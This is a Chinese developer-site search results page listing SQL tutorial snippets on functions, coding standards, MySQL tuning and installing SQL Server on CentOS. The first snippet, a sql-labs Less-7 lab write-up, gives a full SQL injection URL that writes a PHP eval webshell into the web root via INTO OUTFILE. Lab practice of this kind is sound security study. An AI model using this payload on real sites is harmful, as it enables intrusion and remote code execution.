首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏网安菜鸟成长记

    sql-labs-Less-7|SQL注入

    前言: 本关卡为sql-labs系列less-7,本关个人认为比较简单,讲的比较详细,会有点啰嗦,谅解~如有错误的地方欢迎师傅们指正! sql注入语句为: http://localhost/sql-labs/Less-7/?id=-1’)) union select 1,2,’<?php @eval($_POST["123"]);? >’ into outfile “D:\phpstudy_pro\WWW\sql-labs\Less-7\test.php”–+ '<?php @eval($_POST["123"]);? "D:\phpstudy_pro\WWW\sql-labs\Less-7\test.php"是sql-labs/less-7文件的存放路径(根据你自己的安装路径来写),test.php为木马上传以后的保存文件

    84810发布于 2020-10-28
  • 来自专栏一个爱吃西瓜的程序员

    学习SQL7】-函数

    根据用途不同,SQL中的函数大致可以分为算术函数、字符串函数、日期函数、转换函数和聚合函数。 INSERT INTO SampleMath VALUES (NULL, NULL, NULL);INSERT 0 1 INSERT INTO SampleMath VALUES (NULL, 7, 执行结果: m | n | p----------+---+--- 500.000 | 0 | -180.000 | 0 | | | | 7 AS mod_col FROM SampleMath; 执行结果: n | p | mod_col---+---+--------- 0 | | 0 | | | | 7 ---+---+----------- 500.000 | 0 | 500 -180.000 | 0 | -180 | | | 7

    1.5K120发布于 2018-04-04
  • 来自专栏猴子聊数据分析

    7张图学会SQL

    我是一颗橙子: 很多朋友平时处理数据可能更熟悉Excel,提到SQL就想逃避,殊不知SQL在处理大量数据时有Excel无法比拟的优势。 而且根据二八定律,其实只需掌握20%SQL的基础内容,就足以胜任80%的常见工作啦。 因此,我这里总结出了一份7周快速掌握SQL基础的指南,每周完成一张图里的内容就可以了啦。 第1周:SQL入门 学习SQL语句的书写语法和规则 可以双击图片放大 第2周:查询基础 Select查询语句是SQL中最基础也是最重要的语句,这周我们就来利用Select来对表中的数据进行查询。 第7周:集合运算 在有多张表的情况下,表和表之间的运算和联系就变得很重要,利用集合运算就可以将不同表中的数据整合起来。 总结 7周的内容掌握的如何? 可以用下面这张图来汇总复习一下 我是猴子社群会员,知乎:一颗橙子 这是第32期下周很重要, 精通某项技能大约需要7年时间, 如果你活到88岁,11岁之后你还有11个成为某个领域大师的机会, 这就是你一生的许多辈子

    52530发布于 2019-08-30
  • 来自专栏猴子聊数据分析

    7张图学会SQL

    ​ 我是一颗橙子: 很多朋友平时处理数据可能更熟悉Excel,提到SQL就想逃避,殊不知SQL在处理大量数据时有Excel无法比拟的优势。 而且根据二八定律,其实只需掌握20%SQL的基础内容,就足以胜任80%的常见工作啦。 因此,我这里总结出了一份7周快速掌握SQL基础的指南,每周完成一张图里的内容就可以了啦。 第1周:SQL入门 学习SQL语句的书写语法和规则 可以双击图片放大 第2周:查询基础 Select查询语句是SQL中最基础也是最重要的语句,这周我们就来利用Select来对表中的数据进行查询。 第7周:集合运算 在有多张表的情况下,表和表之间的运算和联系就变得很重要,利用集合运算就可以将不同表中的数据整合起来。 总结 7周的内容掌握的如何? 可以用下面这张图来汇总复习一下 我是猴子社群会员,知乎:一颗橙子 这是第32期下周很重要, 精通某项技能大约需要7年时间, 如果你活到88岁,11岁之后你还有11个成为某个领域大师的机会, 这就是你一生的许多辈子

    95600发布于 2019-07-11
  • 来自专栏捞月亮的小北

    7. 特殊SQL的执行

    t_student(student_id,student_name,clazz_id)

    24010编辑于 2023-12-01
  • 来自专栏可以叫我才哥

    分享7SQL的进阶用法

    SQL(Structured Query Language)是一种强大的数据库查询和操作语言,它用于与关系数据库进行交互。 随着数据的不断增长和应用需求的日益复杂,掌握SQL的进阶用法对于数据库管理员、数据分析师和后端开发人员等专业人士来说至关重要。 本文将分享7SQL的进阶用法,并提供实际的代码案例,帮助您提升数据库操作的效率和灵活性。 1. 利用触发器自动化数据操作 触发器可以在特定的数据库事件发生时自动执行预定义的SQL操作,从而实现数据的自动化管理。 product_stock SET quantity = quantity - NEW.ordered_quantity WHERE product_id = NEW.product_id; END; 7.

    46210编辑于 2024-03-06
  • 来自专栏TechBlog

    SQL语句开发规范

    最近写 SQL 比较多,但是 SQL 语句写得非常不规范,在编辑器中经常被 Typo 提示,因此,我重新回顾并总结了一下阿里有关于 SQL开发手册,以下是一些总结心得: General SQL 代码中的关键字 SQL编码规范 字段排列要求: SELECT 语句字段要求每行一个字段 换行以及对其规则如下所示 INSERT 子句 INSERT 子句要求写在同一行。 SELECT 子句 换行编写 关键字左对齐 关键字小于 2 个缩进量,添加2个空格 关键字大于 2 个缩进量,添加1个空格 运算符 运算符前后需要保留一个空格 CASE 语句 如下图 查询嵌套编写规范 SQL 注释 每条SQL语句均应添加注释说明。 每条SQL语句的注释单独成行,并放在语句的前面。 字段注释紧跟在字段后面。

    45310编辑于 2025-05-24
  • 来自专栏老高的技术博客

    mysql开发常用SQL

    mysql.sock # ADD skip-name-resolve skip-grant-tables 然后重启MySQL服务并免密码登录 service mysqld restart mysql 执行修改密码SQL

    58920编辑于 2022-12-27
  • 深入解析MySQL(7)——SQL调优

    帮助开发者理解数据库引擎如何处理特定的SQL查询,从而优化查询性能(explain本身不会执行查询,仅显示执行计划)。explain输出通常包含以下关键信息: id:表示查询中执行顺序的标识符。 若跳过最左字段或中间字段,索引可能失效 3.MySQL优化器 作用:MySQL内置优化器是数据库系统的核心组件之一,负责在执行SQL查询时生成高效的执行计划。 其主要作用包括: 查询重写:优化器会对原始SQL语句进行语法分析和重写 成本估算与分析:优化器通过成本模型(Cost Model,一种量化评估机制)评估查询执行计划的性能 执行计划选择:优化器比较多种可能的执行方案 abcd%' or key like '%c')) or (key < 'bar' and nokey = 4) or (key < 'uux' and key > 'z'); 优化过程如下: 优化后SQL 可以表示为 ('abc',10,-∞) < (key1,key2,key3) < ('abc',+∞,+∞) 3.2 索引合并优化 在SQL查询中,当where子句包含多个条件时,数据库优化器会根据索引选择最有效的执行计划

    14110编辑于 2026-01-13
  • 来自专栏机器学习/数据可视化

    SQL进阶-7-外连接使用

    SQL进阶-7-外连接(outer join) 本文中介绍的SQL中行列转换和嵌套式侧栏的生成,将SQL语句查询的结果转换成我们想要的结果。 行转列,制作交叉表头 列转行 ? 外连接实现 -- 水平展开求交叉表,使用外连接 select C0.name, case when C1.name is not null then 'o' else null end as "SQL = C2.name left outer join(select name from Courses where course='java中级') C3 on CO.name = C3.name; SQL 中指定了名称的表和视图都是相当于是集合 C0-C3的各自内容如下: C0包含了全部的员工 C1-C3每个课程学习者的集合 name(C0) name(C1-SQL) name(C2-UNIX) name 入门' and C1.name = C0.name) "SQL入门", (select 'o' from Courses C2 where course='UNIX基础' and

    85110发布于 2021-03-01
  • 来自专栏QGS星球

    CentOS 7安装SQL server2017(linux)

    /config/rhel/7/mssql-server-2017.repo #安装 SQL Server yum install -y mssql-server #选择 SQL Server 的一个版本 ) Developer (免费,无生产许可) 3) Express (免费) 4) Web (付费版) 5) Standard (付费版) 6) Enterprise (付费版) 7) systemctl status mssql-server ps -ef | grep mssql #下载客户端工具 curl https://packages.microsoft.com/config/rhel/7/ /config/centos/7/prod.repo #下载客户端 yum install mssql-cli -y mssql-cli -S 主机名 -U SA -P '密码' 测试一下是否能外部连接 SQL server数据库 #查看端口使用情况 netstat -tnlp

    1.4K20发布于 2021-03-29
  • 来自专栏AustinDatabases

    PostgreSQL SQL 开发规范 试行

    PostgreSQL 不少的单位已经开始部署了,对于外包的开发,甲方也需要有相关的规范给出,虽然比MYSQL 的要求要少了不少,但该注意的还是要注意。 7 Postgresql 在设计表中,主键设计控制,20字符以内,超过字符主键需要提出申请并说明原因,唯一索引一个表中最多只有一个,复合索引字段限制在3个及以内,另PG 支持include 索引,可以考虑使用 JAVA承接的数据类型是INT(MYSQL),是可以用JAVA的STRING类型承接,但是POSTGRESQL(INT)类型JAVA是不能用STRING类型承接,必须用整型INT,同时反过来也是一样,所以开发者们请注意 23 POSTGRESQL 表操作中,表必须有别名,操作SQL不能带有子查询 24 创建表必须带有表注释,和列注释,主键命名应有前缀并在整体开发中统一命名,系统中严禁出现触发器和DBLINK,使用序列也应有统一的命名规则 ,索引的命名也要有相关的命名规则 25 操作SQL应用where 条件代替having字句,避免大量IN 的条件的元素控制在10个以内,JOIN 操作必须使用INNER JOIN ,只有在逻辑条件中必须使用

    2.8K20发布于 2021-04-22
  • 来自专栏建站知识

    centos7.x中安装SQL Server

    centos7.x中安装SQL Server 内存低于2G时的解决方案   下载微软官方的sqlserver源到本地 wget -O /etc/yum.repos.d/mssql-server.repo https://packages.microsoft.com/config/rhel/7/mssql-server-2017.repo 安装mssql-server(SQL Server软件包) yum 命令行工具 下载微软官方的软件包yum源 wget -O /etc/yum.repos.d/msprod.repo https://packages.microsoft.com/config/rhel/7/ 如果以前装过mssql,则需要删除较旧的UnixODBC软件包 yum remove unixODBC-utf16 unixODBC-utf16-devel 安装mssql工具包和UnixODBC开发人员软件包 首先我们先执行一句SQL语句,创建一个测试数据库,检测是否有效。

    3.6K22发布于 2021-07-16
  • 来自专栏datartisan

    7天快速掌握SQL-DAY1

    当今十大主流的关系型数据库 Oracle,Microsoft SQL Server,MySQL,PostgreSQL,DB2, Microsoft Access, SQLite,Teradata,MariaDB 所以我们在创建视图的时候,主要的工作就落在创建这条SQL查询语句上。 Noord-Holland | 731200 | | 6 | Rotterdam | NLD | Zuid-Holland | 593321 | | 7 Noord-Holland | 731200 | | 6 | Rotterdam | NLD | Zuid-Holland | 593321 | | 7 @s); Query OK, 0 rows affected (0.00 sec) mysql> select @s as sum; +------+ | sum | +------+ | 7

    57610发布于 2019-12-26
  • 来自专栏运维前线

    CentOS7 安装并使用SQL Server

    CentOS7 安装并使用SQL Server Linux 上的 SQL Server 安装指南 参考:https://docs.microsoft.com/zh-cn/sql/linux/sql-server-linux-setup 笔者基于CentOS7进行安装操作 下载 Microsoft SQL Server Red Hat 存储库配置文件 sudo curl -o /etc/yum.repos.d/mssql-server.repo https://packages.microsoft.com/config/rhel/7/mssql-server.repo 运行以下命令,安装 SQL Server sudo yum update sudo firewall-cmd --reload # firewall-cmd未启用不需要做此设置 到此,SQL Server已在CentOS7上正常运行 安装 SQL Server 命令行工具 update sudo yum remove unixODBC-utf16 unixODBC-utf16-devel 运行以下命令以安装mssql 工具与 unixODBC 开发人员包 sudo yum

    3.8K60发布于 2018-01-02
  • 来自专栏Devops专栏

    7. 使用 preparedStatement 解决 SQL 注入问题

    7. 使用 preparedStatement 解决 SQL 注入问题 前言 在上一章节中,我们使用 statement 执行 sql 完成了用户登录的小案例,但是在这个案例中也发现了 SQL 注入的问题。 案例-登录中SQL注入问题解决 1.目标 能够完成PreparedStatement改造登录案例, 解决SQL注入问题 2. preparedStatement概述 预编译SQL语句对象, 是Statement connection对象创建 connection.prepareStatement(String sql) ;创建prepareStatement对象 sql表示预编译的sql语句,如果sql语句有参数通过 // 设置SQL参数,执行SQL

    99010编辑于 2022-01-17
  • CentOS 7上配置SQL Server链接其他SQL Server服务器

    概述本文介绍在CentOS 7系统上运行的SQL Server如何链接访问其他SQL Server服务器的详细步骤,包括驱动安装、配置和连接测试。安装必要组件1. sudo yum install unixODBC unixODBC-devel# 添加Microsoft仓库curl https://packages.microsoft.com/config/rhel/7/ prod.repo | sudo tee /etc/yum.repos.d/mssql-release.repo# 安装SQL Server ODBC驱动sudo ACCEPT_EULA=Y yum install 验证安装odbcinst -q -d -n "ODBC Driver 17 for SQL Server"SQL Server配置1. [pcb_biz].sys.tables;常见问题解决连接失败:检查防火墙设置,确保1433端口开放权限问题:确认远程SQL Server允许sa2账户远程连接驱动问题:验证ODBC驱动是否正确安装服务主密钥

    1K10编辑于 2025-04-05
  • 来自专栏.NET企业级解决方案应用与咨询

    SQL反模式学习笔记7 多态关联

    多态关联和EAV有着相似的特征:元数据对象的名字是存储在字符串中的。

    1.2K20发布于 2019-09-17
  • 来自专栏写代码和思考

    Android开发(7) 文件下载

    概述 我们在开发中经常需要从服务器下载文件,下载的内容可能有交换的信息,缓存的图片,程序更新包等。我们使用URLConnection来实现下载。

    77700发布于 2020-03-16
  • 来自专栏爱可生开源社区

    SQL审核 | 如何使用 SQLE 进行开发阶段 SQL 审核

    二、 功能介绍 SQLE 的开发阶段 SQL审核主要是通过 SQLE 的功能审核任务来完成的,该功能定位是应对全场景 SQL 质量管控解决方案,能够在应用开发、测试、上线、生产等不同阶段对 SQL 进行质量管控 好处是标准化开发流程,减少复杂的工作量。因此在开发阶段也可以将SQL审核作为一个检查模块集成进CI流程。将 SQL审核事宜前置到开发阶段能够减少后期SQL审核的压力。 Jenkins 的任务返回,当 SQL 不合规触发规则建议,可以看到上图所示的构建失败的结果,此时CI流程会通知开发开发需要优化完不合规 SQL 后再次提交代码触发CI构建,如果SQL优化成功则SQL SQLE 页面查看结果 开发负责人可以通过SQLE平台查看审核结果和SQL统计,提前了解目前项目中SQL开发质量和碰到的问题。 SQL统计信息和审核结果如下两张图所示: [sunjian0331-6.png] [sunjian0331-7.png] 四、总结 以上最简单的SQL审核与CI/CD流程集成的试用,大家可以下载安装 SQLE

    1.2K30编辑于 2022-04-06
领券